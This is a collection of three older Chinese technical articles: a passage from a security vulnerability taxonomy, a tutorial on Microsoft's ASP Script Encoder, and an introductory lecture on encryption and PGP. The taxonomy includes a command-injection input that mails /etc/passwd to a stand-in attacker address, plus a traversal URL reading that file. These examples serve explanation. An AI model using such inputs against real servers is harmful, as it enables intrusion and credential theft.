攻击者利用服务器的漏洞，取得系统的普通用户存取权限，对UNIX类系统通常是shell访问权限，对Windows系统通常是cmd.exe的访问权限，能够以一般用户的身份执行程序，存取文件。攻击者通常攻击以非root身份运行的守护进程，有缺陷的cgi程序等手段获得这种访问权限。

典型漏洞：
UBB是个广泛运行于各种UNIX和Windows系统的论坛程序，用PERL实现，它的5.19以下版本存在输入验证问题，通过提交精心构造的表单内容，可以使UBB去执行shell命令，因为一般的web服务器以nobody身份运行，因此可以得到一个nobody shell。比如提交这样的数据：topic='012345.ubb|mail hacker@evil.com </etc/passwd|'，我们就可以得到系统的passwd文件。
RedHat Linux 6.2带的innd 2.2.2.3版新闻服务器，存在缓冲区溢出漏洞，通过一个精心构造的新闻信件可以使innd服务器以news身份运行我们指定的代码，得到一个innd权限的shell。
Windows　IIS 4.0-5.0存在Unicode解码漏洞，可以使攻击者利用cmd.exe以guest组的权限在系统上运行程序。相当于取得了普通用户的权限。

四．权限提升
攻击者在本地通过攻击某些有缺陷的sgid程序，把自己的权限提升到某个非root用户的水平。获得管理员权限可以看做是一种特殊的权限提升，只是因为威胁的大小不同而把它独立出来。

典型漏洞：
RedHat Linux 6.1带的man程序为sgid man，它存在format bug，通过对它的溢出攻击，可以使攻击者得到man组的用户权限。
Solaris 7的write程序为sgid tty，它存在缓冲区溢出问题，通过对它的攻击可以攻击者得到tty组的用户权限。
WindowsNT系统中，攻击者能够使系统中其他用户装入一个”特洛化”的porfile，使其他用户执行攻击者的恶意代码，有时甚至是管理员。

五．读取受限文件
攻击者通过利用某些漏洞，读取系统中他应该没有权限的文件，这些文件通常是安全相关的。这些漏洞的存在可能是文件设置权限不正确，或者是特权进程对文件的不正确处理和意外dump core使受限文件的一部份dump到了core文件中。

典型漏洞：
SunOS 5.5的ftpd存在漏洞，一般用户可以引起ftpd出错而dump出一个全局可读的core文件，里面有shadow文件的片断，从而使一般用户能读到shadow的部分内容。
SuSE 6.2的suid程序pg，对它的配置文件处理存在问题，当把pb.conf链接到特权文件，可以用pb读取那些文件的内容。
Oracle 8.0.3 Enterprise Edition for NT 4.0的日志文件全局可读而且为明文，它记录了连接的口令，很可能被攻击者读到。 六．远程拒绝服务
攻击者利用这类漏洞，无须登录即可对系统发起拒绝服务攻击，使系统或相关的应用程序崩溃或失去响应能力。这类漏洞通常是系统本身或其守护进程有缺陷或设置不正确造成的。

早期的Linux 和 BSD的tcp/ip堆栈的ip 片断重组模块存在缺陷，攻击通过向系统发出特殊的ip片断包可以使机器崩溃。
Windows2000带的Netmeeting 3.01存在缺陷，通过向它发送二进制数据流，可以使服务器的CPU占用达到100%。
通过发送一个带有超长参数的USER命令给AnalogX Proxy Server 4.04的ftp端口，可以使这个应用程序崩溃。

七．本地拒绝服务
在攻击者登录到系统后，利用这类漏洞，可以使系统本身或应用程序崩溃。这种漏洞主要因为是程序对意外情况的处理失误，如写临时文件之前不检查文件是否存在，盲目跟随链接等。

BSDi 3.x存在漏洞可以使一个本地用户用一些垃圾覆盖系统上的任何，这样会很容易地把系统搞成不可用。
RedHat 6.1的tmpwatch程序存在缺陷，可以使系统fork()出许多进程，从而使系统失去响应能力。

八．远程非授权文件存取
利用这类漏洞，攻击可以不经授权地从远程存取系统的某些文件。这类漏洞主要是由一些有缺陷的cgi程序引起的，它们对用户输入没有做适当的合法性检查，使攻击者通过构造特别的输入获得对文件存取。

典型漏洞：
Poll_It_SSI_v2.0.cgi存在漏洞可以使攻击者看到web目录外的所有有权限看的文件，发送如下的请求给服务器就能看到/etc/passwd文件，http://www.targethost.com/pollit/Poll_It_v2.0.cgi?data_dir=\etc\passwd%00
Windows IIS 5.0存在一个漏洞，通过向它发送一个特殊的head标记，可以得到asp源码，而不是经过解释执行后asp页面。
Windows IE存在诸多漏洞允许恶意的web页面读取浏览用户的本地的文件。

九．口令恢复
因为采用了很弱的口令加密方式，使攻击者可以很容易的分析出口令的加密方法，从而使攻击者通过某种方法得到密码后还原出明文来。

典型漏洞：
Windows下的PassWD v1.2用来管理系统中的各种口令，并和URL一起储存起来。但它加密储存的口令加密方式非常脆弱，经过简单的分析，就可以从加密后的口令还原出明文。
Pcanywhere 9.0采用非常脆弱的加密方法来加密传输中的口令，只要窍听了传输中的数据很容易解码出明文口令。
Browsegate是一个Windows下的代理防火墙，它的2.80.2版本，在配置文件中储存了加密后的口令而且配置文件对所有用户是可读的，然而加密方式极其脆弱，可以很容易地解码出明文。 十．欺骗
利用这类漏洞，攻击者可以对目标系统实施某种形式的欺骗。这通常是由于系统的实现上存在某些缺陷。

典型漏洞
Windows IE曾经存在一个漏洞允许一个恶意网络在另一个风站的窗口内插入内容，从而欺骗用户输入敏感数据。
Linux kernel 2.0.35以下的tcp/ip堆栈存在漏洞，可以使攻击者进行ip地址欺骗非常容易实现。

十一．服务器信息泄露
利用这类漏洞，攻击者可以收集到对于进一步攻击系统有用的信息。这类漏洞的产生主要是因为系统程序有缺陷，一般是对错误的不正确处理。

典型漏洞：
Windows IIS 3.0-5.0存在漏洞，当向系统请求不存在的.idq，.idq文件时，机器可能会返回出错信息，里面暴露了IIS的安装目录信息，比如请求http://www.microsoft.com/anything.ida，服务器会返回Response: The IDQ file d:\http\anything.ida could not be found。这些对攻击者进行攻击可能带来方便，比如广泛流行的msadc的攻击，需要知道系统的安装目录。
Linux kernel 2.1.53以下的tcp/ip堆栈开放和关闭的端口对特定的数据包有特定的回应，攻击者可以利用这个特性进行端口的秘密扫描。
某些cgi程序如DBMan (db.cgi)存在漏洞可以使攻击者看到一些系统的环境变量，使攻击者获得关于系统一些有用的信息。

十二．其它
虽然以上的几种分类包括了绝大多数的漏洞情况，可还是有可能存在一些上面几种类型无法描述的的漏洞，把它们归到这里。

B．按漏洞的成因
对其分类，是对漏洞进行分类最另人头疼的一个方面，因为对漏洞研究的不同抽象层次，会对同一个漏洞做出不同的分类，对下面提到的ps竞争条件漏洞，从最低层次上来说是参数验证错误，因为相继的系统调用并没有检查他们所处理的是否为同一个对象，从高一些的层次看，这是一个同步或竞争条件错误，从更高的层次看，这则是一个逻辑错误，因为对象可能在使用过程中被删除。至今也没看到一个比较完美分类方案，包括securityfocus上的分类也不能让人满意，现大致分成以下几类：

输入验证错误
大多数的缓冲区溢出漏洞和cgi类漏洞都是由于未对用户提供的输入数据的合法性作适当的检查。

访问验证错误
漏洞的产生是由于程序的访问验证部分存在某些可利用的逻辑错误，使绕过这种访问控制成为可能。上面提到的那个早期AIX的rlogin漏洞就是这种典型。

竞争条件
漏洞的产生在于程序处理文件等实体时在时序和同步方面存在问题，这处理的过程中可能存在一个机会窗口使攻击者能够施以外来的影响。早期的Solaris系统的ps命令存在这种类型的漏洞，ps在执行的时候会在/tmp产生一个基于它pid的临时文件，然后把它chown为root，改名为ps_data。如果在ps运行时能够创建这个临时文件指向我们有兴趣的文件，这样ps执行以后，我们就可以对这个root拥有文件做任意的修改，这可以帮助我们获得root权限。

意外情况处置错误
漏洞的产生在于程序在它的实现逻辑中没有考虑到一些意外情况，而这些意外情况是应该被考虑到的。大多数的/tmp目录中的盲目跟随符号链接覆盖文件的漏洞属于这种类型。例子：Sco UNIX openserver的/etc/sysadm.d/bin/userOsa存在盲目覆盖调试日志文件的问题，而文件的名字是固定的，通过把文件名指向某些特权文件，可以完全破坏系统。

设计错误
这个类别是非常笼统的，严格来说，大多数的漏洞的存在都是设计错误，因此所有暂时无法放入到其他类别的漏洞，先放在这。

配置错误
漏洞的产生在于系统和应用的配置有误，或是软件安装在错误的地方，或是错误的配置参数，或是错误的访问权限，策略错误。

环境错误
由一些环境变量的错误或恶意设置造成的漏洞。如攻击者可能通过重置shell的内部分界符IFS，shell的转义字符，或其它环境变量，导致有问题的特权程序去执行攻击者指定的程序。上面提到的RedHat Linux的dump程序漏洞就是这种类型。

在漏洞的威胁类型和产生漏洞的错误类型之间存在一定的联系，有直接联系的威胁类型与错误类型用直线相连，可以看到如下的图示：

远程管理员权限
                                         输入验证错误
本地管理员权限
                                         访问验证错误
普通用户访问权限
                                       竞争条件
权限提升
                                     意外情况处置错误
读取受限文件

远程拒绝服务
                                   设计错误
本地拒绝服务

远程非授权文件存取
                                       配置错误
口令恢复

欺骗
                                     环境错误
服务器信息泄露

可以看到输入验证错误几乎与所有的漏洞威胁有关，设计错误与错误的配置也会导致很多威胁。 　　C.对漏洞严重性的分级
一般来说漏洞的威胁类型基本上决定了它的严重性，我们可以把严重性分成高，中，低三个级别。远程和本地管理员权限大致对应为高，普通用户权限，权限提升，读取受限文件，远程和本地拒绝服务大致对应中级，远程非授权文件存取，口令恢复，欺骗，服务器信息泄露大致对应低级别。但这只是最一般的情况，很多时候需要具体情况具体分析，如一个涉及到针对流行系统本身的远程拒绝服务漏洞，就应该是高级别。同样一个被广泛使用的软件如果存在弱口令问题，有口令恢复漏洞，也应该归为中高级别。 D．对漏洞被利用方式的分类
漏洞的存在是个客观事实，但漏洞只能以一定的方式被利用，每个漏洞都要求攻击处于网络空间一个特定的位置，可能的攻击方式分为以下四类：

物理接触
攻击者需要能够物理地接触目标系统才能利用这类漏洞，对系统的安全构成威胁。图示：

              攻击者　　　　　　　　　　　　　主机

主机模式
通常的漏洞利用方式。攻击方为客户机，被攻击方为目标主机。比如攻击者发现目标主机的某个守护进程存在一个远程溢出漏洞，攻击者可能因此取得主机的额外访问权。
        图示：
                                攻击
                    攻击机器　　　　　　　　　主机

客户机模式
当一个用户访问网络上的一个主机，他就可能遭到主机发送给自己恶意命令的袭击。客户机不应该过度信任主机。如web浏览器IE存在不少漏洞，可以使一些恶意的网站用html标记通过那些漏洞在浏览的客户机中执行程序或读写文件。
        图示：
                                  攻击
                    客户机　　　　　　　　　　主机

中间人方式
当攻击者位于一个可以观察或截获两个机器之间的通信的位置时，就可以认为攻击者处于中间人方式。因为很多时候主机之间以明文方式传输有价值的信息，因此攻击者可以很容易地攻入其他机器。对于某些公钥加密的实现，攻击者可以截获并取代密钥伪装成网络上的两个节点来绕过这种限制。
    图示：

                            通信
              主机　　　　　　　　　　　　　主机

窍听或篡改

                            攻击者

本文对网络安全漏洞作了粗浅地分类，这远不是一个完美的方案，有兴趣的欢迎来信交流心得。

一些我读过的参考资料：
http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html
http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html
http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html
http://www.securityfocus.com/data/library/compvuln_draft.pdf
当然还有：
http://www.xfocus.org/html/query_exploit.html
你能在那找到文中所举的所有漏洞例子 J


加密你的ASP页面

出处:珞珈山水
一、概述
一直以来，ASP技术受到了越来越多朋友的喜爱，使用ASP从事WEB开发的人也越来越多。ASP一个非常明显的特征是页面在服务器端经过处理之后发送到浏览器中的内容为标准的HTML格式，这样有效的保护了页面程序的原代码不被客户端轻易获取（当然MS的BUG不断那是另一回事了。^_^）。

但是另一个普遍存在的问题是：
由于ASP页面是纯文本的形式存放，在服务器端可以轻易看到全部编程逻辑。这样给ASP应用商业化带来了一定的困难。解决的方法一般是使用组件技术将编程逻辑封装入DLL之中，但问题是：
1、如果每段代码都组件化似乎工作量太大了，也没有必要。
2、还有很多网友(比如象浪子一样:-<)根本就不会编写组件。
在这样的背景下，微软推出了Script Encoder1.0。一个命令行的脚本加密工具。
Script Encoder的特点是：
它只加密页面中嵌入的脚本代码，其他部分，如HTML的TAG仍然保持原样不变。处理后的文件中被加密过的部分为只读内容，对加密部分的任何修改都将导致整个加密后的文件不能使用。Script Encoder加密过的ASP文件还将使Script Debugger之类的脚本调试工具失效。Script Encoder是可以对Client Side Script加密，也可以对Server Side Script加密。
二、使用简介
Script Encoder是个命令行工具，执行文件为SCRENC.EXE。它的操作非常简单：
SCRENC [/s] [/f] [/xl] [/l defLanguage ] [/e defExtension] inputfile outputf
ile
/s 可选。让Script Encoder“安静”的工作，即执行过程没有屏幕输出。（我使用的感觉忽略它，同样没有屏幕输出。没什么用，懒得理了。）
/f 可选。指定输出文件是否覆盖同名输入文件。忽略，将不执行覆盖。
/xl 可选。是否在.asp文件的顶部添加@Language指令。忽略，将添加。
/l defLanguage 可选。指定Script Encoder加密中选择的缺省脚本语言。文件中不包含这种脚本语言特性的脚本将被Script Encoder忽略。对于HTML和脚本文件来说，JScript为内置缺省脚本语言。对于ASP文件，VBScript为缺省脚本语言。同时对于扩展名为.vbs或.js的文件Script Encoder有自适应能力。
/e defExtension 可选。指定待加密文件的文件扩展名。缺省状态下，Script Encoder能识别asa,asp,cdx,htm,html,js,sct和vbs文件。
三、常见问题和注意事项
1、在JOY ASP中几次看到有网友使用Script Encoder时出现如下错误：
"Script Encoder object <"Scripting.Encoder"> not found "
其原因：是使用Script Encoder需要Script Engine 5.0或以上脚本引擎的支持。解决的办法有两个，升级浏览器到IE5或安装Script Engine 5.0。
2、在加密Global.asa时，加密完成后访问出现：
Active Server Pages 错误 'ASP 0137'无效通用脚本
global.asa, 行1
Script 块必须是允许的 Global.asa 过程之一。< %...% > 中的 Script 原语不允许在global.asa 文件中。允许的过程只能是Application_OnStart , Application_OnEnd , Session_OnStart , 或 Session_OnEnd。
加密后的global.asa文件为：
<%@ LANGUAGE = VBScript.Encode %><SCRIPT LANGUAGE=VBScript.Encode
RUNAT=Server>#@~^nAIAAA==@#@&?i~Pzww^k1CYbWU{}xjOmDY@#@&@#@&BP</SCRIPT>
<SCRIPT LANGUAGE=VBScript.Encode RUNAT=Server>#@~^OgEAAA==@#@&?i~Pzww^k
1CYbWU{}x3U9@#@&@#@&P,P?&127;O~sbV&127;r8Ln^DPxPUnD7+.
;D+CO&127;r==^#~@</SC
RIPT>
<SCRIPT LANGUAGE=VBScript.Encode RUNAT=Server>#@~^DQMAAA==@#@&?i~PU+/kk
KU{}xjYmDO@#@&@#@&E~NnJ*Px~rCl1V+MJ@#@&3Hf,?`A@#@&ftEAAA==^#~@</SCRIPT>
<SCRIPT LANGUAGE=VBScript.Encode RUNAT=Server>#@~^WwIAAA==@#@&?i~PU+/kk
KU{}x3x9@#@&(6P?&127;d/bWxvEj{!/&127;DmmG[&127;JbP@!@*PrCC^0+DE~:tnx@#@&</SC
RIPT>
出现这个错误的原因是：在加密完的global.asa文件顶部被写入了<%@ LANGUAGE = VBS
cript.Encode %>解决的办法是手动删去这一行或者使用/xl参数加密即可。
3、Script Encoder对Remote Scripting无效。
四、总结
根据我个人的体会，Script Encoder还是比较好用的。使用简单，加密后的脚本运行也比较稳定。不过这个东西仅仅是阻止了你随意的查看脚本原代码，估计相应的解密工具不久就会出来的。所以建议可能的话，大家还是花点时间学习一下组件技术，我觉得可以将这两个结合起来运用的。正如微软的文档所说：Setting an engine to deal with encoded script is only one side of the equation. How do you encode your script? There are two mechanisms to do this: a command-line script encoder a nd a COM-based object model...
附：
Script Encoder 下载地址：
http://msdn.microsoft.com/scripting/vbscript/download/x86/sce10en.exe
Windows Script Engine 5.0
Windows 95, Windows 98 & Windows NT 4.0 - CHS 中文版 下载地址：
http://www.microsoft.com/msdownload/vbscript/scripting.asp?msid=32186&plat=x
86&lang=Chinese/Simplified


加密系列讲座

今天偶尔发现以前我们公司同事翻译的加密知识讲座，于是转贴过来，让大家参考一下吧！由于是老外写的，可能不太容易理解。
----------------------------------------
1.传统的加密方法

传统的加密方法也称为密钥或对称加密,加密和解密过程使用同一个密钥.数据加密标准(DES)是传统加密方法的一个实例,现在被(老美的)联邦政府广泛使用.

传统加密方法的一个极简单的例子是置换密码(substitution cipher). 就是用一种信息替换另一种信息.常见的用法是将字母在字母表中偏移位置. 朱利叶.凯撒并不相信自己的信使,他把给前线将领文书中的A全部替换成D,B全部替换成E,用这样的方法来加密文书.以今天的标准来看这种方法太简单了,但这对凯撒很实用.
1.1 密钥管理和传统的加密方法

传统加密方法是有优势的.它的速度很快,而且特别适用于不需要移动的数据.然而,由于安全地发布密钥非常困难,单独使用传统加密方法来安全传输数据的代价是非常
昂贵的.

在间谍影片中常可以看到这样的情节,特工将一个密码箱用手铐和自己的手腕铐在一起.密码箱中有什么呢?多数情况下里面不是导弹发射密码,不是化学公式,也不是入侵
计划,而是用来解密的密钥.

对于使用传统加密方法进行安全通讯的手法双方来说,他们必须拥有相同的密钥而且不能让别人知道.如果他们处在不同的物理位置,必须相信信使,加密电话或者其他
的安全通讯介质,防止在传输过程中泄露密钥.在传输过程中,偷听或截获到密钥的任何人,就能够阅读,修改和伪造用这个密钥加密或认证的所有信息. 无论DES还是凯撒,传统加密方法的永恒问题就是密钥的发布,怎样才能使接收者得到密钥而不被其他人截获呢?
2.公开密钥加密法

公开密钥加密法可以解决密钥发布的问题,公开密钥的概念由Whitfield Diffie&Martin Hellman在1975年提出.(现在有证据表明英国情报机关先于Diffie&Hellman几年发明了这种方法,但是却作为军事秘密,而且在这方面的工作什么也没做)

公开密钥加密法是一种使用一对密钥的非对称加密手段.公钥用于加密,私钥用于解密
公钥可以让所有人知道,而私钥却必须保密.任何人(甚至是你从未见过的人)用你的公钥加密的信息只有你可以看懂.

想从公钥推导出私钥在计算上是不可行的.拥有公钥的人可以加密信息却不能将其解密,只有拥有对应私钥的人才能解密信息.

公钥加密法的主要优势在于可以让事先没有安全通道的人安全地交换信息.收发双方通过安全通道共享密钥的前提条件不存在了.所有的通讯中只包含了公钥,私钥是不会传输或共享的.下面是一些公钥密码系统的例子：
Elgamal 以其发明者Taher Elgamal的名字命名
RSA 发明者Ron Rivest, Adi Shamir, and Leonard Adleman
Diffie-Hellman 以发明者的名字命名
DSADigital Signature Algorithm （数字签名算法）
发明者David Kravitz

由于传统的加密方法曾经是传送秘密信息的唯一手段，保持安全通道和发布密钥的高昂费用将其应用范围限制在能够负担得起这些费用的用户中，比如政府或者大银行.公钥加密法是加密技术的革命,它可以为普通人提供强加密手段.还记得将密码箱铐在自己手腕上的特工信使吗,公钥加密法会使他失去工作(他自己可能很高兴这样)
3.PGP如何工作

PGP综合了传统加密方法和公开密钥加密方法的优点,是一种杂交的方法.当用户使用PGP来加密明文时,PGP首先压缩明文.数据压缩可以节省modem的传输时间和磁盘空间.更重要的是,压缩可以加强密文的安全性.绝大多数密码分析技术利用在明文中发现的模式(pattern)来破解密码.压缩可以减少明文中的模式,因此极大增强了对密码分析的抵抗力.(太短或不能被很好压缩的文件就不进行压缩)

PGP接着生成一个会话钥(session key),这是一个一次性的密钥.会话钥是从用户鼠标的随机移动和击键中产生的一个随机数.会话钥和一个非常安全而快速的传统加密算法共同加密明文,结果就是密文.一旦数据被加密之后,就用接收者的公钥来加密会话钥.被公钥加密后的会话钥连同密文一起传送给接收者.

解密工作与此相反.接收者的PGP工具使用他(她)自己的私钥来恢复临时的会话钥,然后PGP使用该会话钥来解密传统方法加密的密文.

两种加密方法的组合既保留了传统方法的速度优势,又拥有公开密钥方法的方便性.传统加密方法的速度大约是公开密钥方法的1000倍,反过来公开密钥方法解决了密钥发布和数据传输的问题.二者结合起来,在没有牺牲任何安全性的情况下,性能和密钥发布
都得到了提高.
4.密钥(key)

密钥是一个数值,它和加密算法一起生成特别的密文.密钥本质上是非常非常大的数.密钥的尺寸用位(bit)来衡量,1024位密钥代表的数是非常巨大的.在公开密钥加密方法中,密钥的尺寸越大,密文就越安全.

然而,公钥的尺寸和传统加密方法中密钥的尺寸是不相关的.传统80位密钥的强度等同于1024位的公钥,传统128位密钥的强度等同于3000位的公钥.在同种加密算法中,密钥越大越安全.但是传统方法和公开密钥方法所用的加密算法不一样,因此它们的密钥尺寸不能直接比较.

公钥和私钥是算术相关的,仅凭公钥推算出私钥是非常困难的.然而如果有足够的时间和计算能力,总是可能导出私钥的.这使得选择合适尺寸的密钥变得非常重要.为了安全需要足够大的密钥,为了速度有要足够小的密钥.而且,要考虑是谁想要读取你的文件,他有多大的决心,多少时间和多少可以利用的资源.

长的密钥会在很长一段时间内是安全的.如果想保密许多年,应该选择非常长的密钥.当然,谁也不知道使用未来速度更快更有效的计算机来测定你的密钥会花费多长时间.曾经有一段时间人们认为56位的对称密钥是非常安全的.

密钥以加密后的形式保存.PGP在硬盘的两个文件中保存密钥,一个文件保存公钥,另一个保存私钥.这两个文件称为钥匙环(keyrings).在使用PGP时,用户会经常向公钥环中加入接收者的公钥.用户自己的私钥保存在私钥环上.如果丢失了私钥环,就无法解密依赖于该环的加密信息.
5.数字签名

公开密钥加密方法的一个主要优点是提供了数字签名的实现手段. 数字签名使得信息的接收者能够验证信息来源的真实性,还能够验证信息是否完整.因此,公钥数字签名可以提供身份验证和数据完整性保证.数字签名还提供了不可抵赖的特性,该特性能够保证信息的发送者无法否认自己确实发送了这个信息.这些特性如同加密功能一样是整个密码系统的最基本功能.

数字签名的目的和手写签名一样.然而手写签名很容易仿造,数字签名和手写签名的优势在于它几乎不可能被仿造,而且它在确认签名者身份的同时还能保证信息内容的完整性.

有些人使用数字签名多于使用加密.比如:客户可能不在意任何人知道他往自己的银行户头存进1000块钱,但是客户必须确保自己在和银行的出纳员打交道,而不是其他任何人.

数字签名和加密的基本工作模式很类似,只不过在签名时用自己的私钥加密而不是用别人的公钥.如果信息可以用你的公钥解密,那就能确定信息是由你发出的.
5.1 哈希函数

上面所描述的数字签名系统有一些问题.它的速度非常慢,而且会生成大量的数据--至少是原始信息的两倍.前述系统在处理过程中可以引入一种单向哈希函数来提高性能.单向哈希函数可以接受可变长度的输入--既然这样,输入可以是任意长的消息,甚至成千上万位--产生固定长度的输出;比如160位.哈希函数保证,如果信息不管以什么方式改变了--甚至只有1位变化--输出的结果会完全不同.

PGP对用户签名的明文使用一种强哈希函数.这产生一个定长的数据,称为消息摘要(message digest).(再次强调,信息的任何改变都会生成完全不同的摘要.)

然后PGP使用摘要和私钥来创建"签名".PGP将签名和明文一同传输.接收者一旦收到消息,就可以用PGP来重新计算摘要(并用发送者的公钥来解密签名得到原始摘要),据此接收者就可以验证签名.PGP对明文可以加密也可以不加密.对明文签名有时也很有用处,比如接收者可能没有兴趣或者没有能力来验证签名(这时他直接看明文就可以了).

只要使用了安全哈希函数,就没办法从一篇文章上取下某人的签名而附加到另一篇文章上,同样也无法改变签过名的消息.签过名的文章哪怕是极小的改动,也会导致数字签名验证过程失败.

数字签名在身份验证和确认其他PGP用户密钥的过程中扮演了很重要的角色.
6.数字证书

公开密钥密码系统的一个关键问题是使用者必须经常保持警惕,确保用正确的密钥来加密信息.在通过公共服务器来自由交换密钥的环境中,"中间人"攻击方式是一种潜在的威胁.在这种类型的攻击中,某人发布了一个假冒的密钥,该密钥所代表的用户名和用户ID正是使用者要发信的接收方.加密的数据被这个假密钥的拥有者截获后,就能获知数据的真正内容.

在公开密钥环境中,保证加密所使用的公钥确实是接收者的公钥而不是假冒的,这是至关重要的.如果密钥是由接收者亲自交给你的,完全可以放心地用来加密,可是如果要同一个从未见过面的人交换信息,怎么保证手中握有正确的密钥.

数字证书简化了确定公开密钥确实属于其所有者的工作.

证书是某种形式的信任状.比如你的驾驶执照,社会保障卡,或出生证明.这每一种证书都包含鉴别你身份的信息而且一些权威机构声明某些人已经证实了你的身份.某些证书,比如护照,是身份非常重要的证明,不能丢失,也不能让别人冒充你.

数字证书是功能上类似物理证书的数据.数字证书包括个人公钥的信息,这可以帮助别人验证密钥是真实的且合法的.数字证书用于防止个人的密钥被调换.

一个数字证书由三个部分组成:
1.公开密钥.
2.证书信息(用户的身份比如名字,用户ID等等).
3.一个或多个数字签名.

证书中数字签名的目的是声明证书的信息已经由某些人或实体证实.数字签名不能保证整个证书的真实性;它仅能保证其中签名的身份信息及其公钥的真实.

因此证书基本上是由公钥及其一两种形式的附加ID构成,加上一些可信个人提供的热心证明标记.
6.1 证书发布

在有必要和其他人交换公钥时,证书就有用了.对于希望安全通讯的小集团用户来说,手工交换包含彼此公钥信息的磁盘和Email是非常容易的.这称作手工公钥发布,而且在某些时候是很实用的.除此之外,必须给系统提供必要的安全,存储和交换机制,凭此合
作者,商业伙伴,或陌生人可以互相安全通讯.这些可以形成称为证书服务器ertificate Servers)的只存(storage-only)仓库, 者提供附加密钥管理特性的更加结构化的系统,即公开密钥基础(Public Key Infrastructures-PKIs)

证书服务器

证书服务器或称密钥服务器,是允许用户提交和获取数字证书的数据库.证书服务器通常提供一些管理特性,使单个公司可以维护自己的安全策略--比如,只允许符合特定要求的密钥进入服务器存储.

公钥基础(Public Key Infrastructures--PKI)

PKI包含证书服务器的证书存储功能,还提供证书管理能力(发布, 回收,存储,获取和认证证书).PKI的主要特性是引入了所谓的认证权威(Certification Authority--CA),这是由人组成的实体--个人,团体,部门,公司或其他协会--该组织有权向计算机用户发布证书. （CA的角色类似于国家政府颁发护照的部门).CA创建证书并在上面用自己的私钥进行数字签名.由于CA在创建证书过程中的角色很重要,因此它是PKI的核心.使用CA的公钥,想要验证证书真实性的任何人只要校验CA的数字签名就能确定证书内容的完整性和真实性(更为重要的是确认了证书持有者的公钥和身份).

6.2 证书格式

数字证书基本上是身份信息加上公开密钥并由可信的第三方签名以证明其真实性.数字证书可以是许多种不同格式中的一种.

PGP承认两种不同的证书格式: PGP证书和X.509证书

PGP证书格式
一份PGP证书包括(但不仅限于)以下信息:
<>PGP版本号-这指出创建与证书相关联的密钥使用了哪个PGP版本
<>证书持有者的公钥-这是密钥对的公开部分,并且还有密钥的算
法:RSA,DH(Diffie-Hellman),或DSA(数字签名算法).
<>证书持有者的信息-这包括用户的身份信息,比如姓名,用户ID,照片等
<>证书拥有者的数字签名-也叫做自签名,这是用与证书中的公钥相关的私钥生成的签名.
<>证书的有效期-证书的起始日期/时间和终止日期/时间;指明证书何时失效.
<>密钥首选的对称加密算法-指明证书拥有者首选的信息加密算法.支持的算法有:CAST,IDEA和Triple-DES.

读者可能会把PGP证书想象成公钥及与其有关的一个或多个标签.在这些标签中,可以找到有关密钥拥有者的身份信息和密钥拥有者的签名,这签名声明了密钥和身份信息是完整无缺的.(这种特殊的签名叫做自签名;每一个PGP证书都包含一个自签名.)

PGP证书格式的一个特点是单个证书可能包含多个签名.也许有几个或许多人会在证书上签名,保证证书上的公钥明确属于某个人.在公共证书服务器上,读者可能会注意到某些证书,比如PGP的创建者Phil Zimmermann,包含许多签名.

有些PGP证书由一个公钥和一些标签组成,每个标签包含确认密钥所有者身份的不同手段(例如:所有者的姓名和公司邮件帐户,所有者的绰号和家庭邮件帐户,所有者的照片---所有这些全都在一个证书里).每一个认证手段(每一个标签)的签名表可能是不同的;这些签名保证这个标签是属于证书中的公钥的,但其实并非所有的标签都是可信的.
(注,这是客观意义上的可信---签名只是署名者对证书内容真实性的评价,在签名证实一个密钥之前,不同的署名者在认定密钥真实性方面所做的努力并不相同)
7. 正确性(Validity)和信任(Trust)

公开密钥系统中的每一个用户都有可能把一个伪造的密钥(或证书)当成真的来使用.正确性验证确保一份公钥证书是属于它所声明的那个拥有者的.在需要不断验证证书是否可信的公开密钥环境中,正确性验证是基础.

如果用户能够确认某份证书确实是属于某个人的,就可以在自己的密钥环中该证书的拷贝上签名,用以证明这份证书经过检查是可信的.如果希望别人知道用户确认了这份证书,用户可以把签名发送到认证服务器上,这样别人就都可以看到了.

从前面介绍的有关公钥基础(PKI)的内容中我们知道,一些公司指定一个或多个认证中心(CA)来进行证书的正确性验证.在使用X.509证书PKI的组织里,向用户颁发证书是CA的工作--该过程一般是对用户发出的证书请求的回应.在使用PGP证书而没有PKI的组织中,检查所有PGP证书的正确性并签署其中较有把握的证书,这是CA的工作.CA的主要作用是把公钥和证书中的身份认证信息绑定在一起,从而向第三方保证CA是花费了一些力气来证明这种绑定是正确的.

CA是某个组织中正确性验证的老大,是每个人都信任的人.在使用PKI的组织中,没有一份证书会被认为是正确的,除非它是由一个可信的CA签署的.

7.1 正确性检查

手工过程是正确性检查的一种方法.手工完成正确性检查有几种实现途径. 用户可以要求接收者亲自把他或她的公钥拷贝交给你.但是这并不方便效率也很低.

另一种途径是手工检查证书的指纹(fingerprint).就象每个人的指纹是唯一的一样,每一个PGP证书的指纹也是唯一的.指纹是用户证书的HASH,是证书的特征之一.在PGP钟,指纹可以以一个十六进制数字或一系列统计(biometric)字的形式出现,这可以使得指纹认证过程稍微容易一些.

还可以通过给密钥的拥有者打电话来确认证书的真实性(这是由用户发起的事务处理过程),要求拥有者读出他或她密钥的指纹,然后和用户拥有的指纹进行比较.如果认得密钥拥有者的声音,这种方法很奏效.但是如何手工认证不认识人的身份呢?正因为如此,许多人把密钥的指纹印在商业名片上.

除了手工过程外,另一种检查证书正确性的方法是相信已经进行了检查过程的第三方的结果.

比如CA,向别人担保说在证书发布之前,他或她已经仔细检查过公钥确实属于它应该属于的人.相信CA的人都会认为由CA签发的证书都是正确的.

正确性检查的另一个方面是要确保证书没有被回收.要了解更多的内容,参见下面的证书回收一节.
7.2 建立信任关系

确认证书的真实性.信任别人.说的更明确一些,信任确认别人证书的那些人.除非证书的拥有者亲自把证书交给你,否则必须由这世上的其他人来确认证书的正确性.

中间介绍人和可信介绍人(Meta and trusted introducers) 在大多数情况下,人们完全相信CA来确认证书的正确性.这意味着所有人都依赖CA来为自己检查整个手工验证过程.这对某些用户或单位来说是非常好的,但CA不可能进行这样严格的正确性检查.这种情况下,必须在系统中加入其他验证者.

CA可以是一个中间介绍人.中间介绍人不仅能保证密钥的正确性,还提供让别人来验证密钥的功能.这类似于拿着尚方宝剑的官员,可以代替皇帝行使权力.中间介绍人可以使别人成为可信介绍人.这些可信介绍人能像中间介绍人一样来验证证书的正确性.但是他们不能再创建新的可信介绍人.

中间介绍人和可信介绍人是PGP的术语.在X.509环境中,中间介绍人被称为根认证权威(root CA),可信介绍人从属于CA.

